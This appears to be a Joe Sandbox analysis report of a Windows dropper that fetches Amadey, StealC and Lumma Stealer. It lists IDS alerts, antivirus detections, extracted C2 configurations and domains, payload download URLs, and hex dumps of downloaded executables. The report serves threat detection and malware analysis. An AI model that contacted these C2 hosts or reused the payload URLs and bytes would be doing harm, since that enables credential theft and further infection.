2024-12-09T23:09:23.978093+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49806	104.21.48.1	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:25.594206+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49807	185.215.113.206	80	TCP
2024-12-09T23:09:42.038474+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49870	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:05.760341+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49758	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:15.862202+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49764	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:10.210118+0100	2803305	3	Unknown Traffic	192.168.2.4	49770	185.215.113.16	80	TCP
2024-12-09T23:09:18.678022+0100	2803305	3	Unknown Traffic	192.168.2.4	49791	185.215.113.16	80	TCP
2024-12-09T23:09:26.921965+0100	2803305	3	Unknown Traffic	192.168.2.4	49815	185.215.113.16	80	TCP
2024-12-09T23:09:34.076166+0100	2803305	3	Unknown Traffic	192.168.2.4	49838	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T23:09:47.484483+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49897	104.21.48.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/off/random.exeb	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php95dA	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/a	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpa4	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe_	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: ae5cfd188c.exe.3512.10.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["dare-curbys.biz", "print-vexer.biz", "zinc-sneark.biz", "se-blurry.biz", "atten-supporse.biz", "impend-differ.biz", "covery-mover.biz", "dwell-exclaim.biz", "formy-spill.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49898 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 9c2827fca4.exe, 0000001C.00000003.2709881052.0000000004770000.00000004.00001000.00020000.00000000.sdmp, 9c2827fca4.exe, 0000001C.00000002.2843648513.0000000000672000.00000040.00000001.01000000.00000012.sdmp, 9c2827fca4.exe, 00000021.00000003.2837715853.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, 9c2827fca4.exe, 00000021.00000002.2878103010.0000000000672000.00000040.00000001.01000000.00000012.sdmp

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006DDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_006DDBBE
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E68EE FindFirstFileW,FindClose,	11_2_006E68EE
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_006E698F
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006DD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_006DD076
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006DD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_006DD3A9
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_006E9642
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_006E979D
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_006E9B2B
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E5C97 FindFirstFileW,FindNextFileW,FindClose,	11_2_006E5C97

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 29MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 191MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49758 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.4:57488 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49781 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49790 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49787 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49800 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49814 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49813 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49807 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49827 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49821 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49833 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49834 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49842 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49806 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49852 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49861 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49864 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49870 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49835 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49874 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49897 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49906 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49880 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49806 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49827 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49827 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49834 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49834 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49790 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49790 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49781 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49781 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49861 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49897 -> 104.21.48.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 22:09:09 GMTContent-Type: application/octet-streamContent-Length: 1895424Last-Modified: Mon, 09 Dec 2024 21:09:04 GMTConnection: keep-aliveETag: "67575c70-1cec00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4b 00 00 04 00 00 a6 e5 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 42 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 30 05 00 00 04 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 50 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 79 6a 61 70 71 73 68 00 70 1a 00 00 60 30 00 00 6c 1a 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6a 6e 73 65 6e 6f 65 00 10 00 00 00 d0 4a 00 00 04 00 00 00 c6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4a 00 00 22 00 00 00 ca 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 22:09:18 GMTContent-Type: application/octet-streamContent-Length: 1799168Last-Modified: Mon, 09 Dec 2024 21:09:11 GMTConnection: keep-aliveETag: "67575c77-1b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 8b d7 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 70 6e 71 7a 67 6b 67 00 d0 19 00 00 60 4f 00 00 d0 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 71 75 71 6f 76 6c 68 00 10 00 00 00 30 69 00 00 04 00 00 00 4e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 69 00 00 22 00 00 00 52 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 22:09:26 GMTContent-Type: application/octet-streamContent-Length: 971776Last-Modified: Mon, 09 Dec 2024 21:07:21 GMTConnection: keep-aliveETag: "67575c09-ed400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 01 5c 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 24 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 3c ff 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 a8 68 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 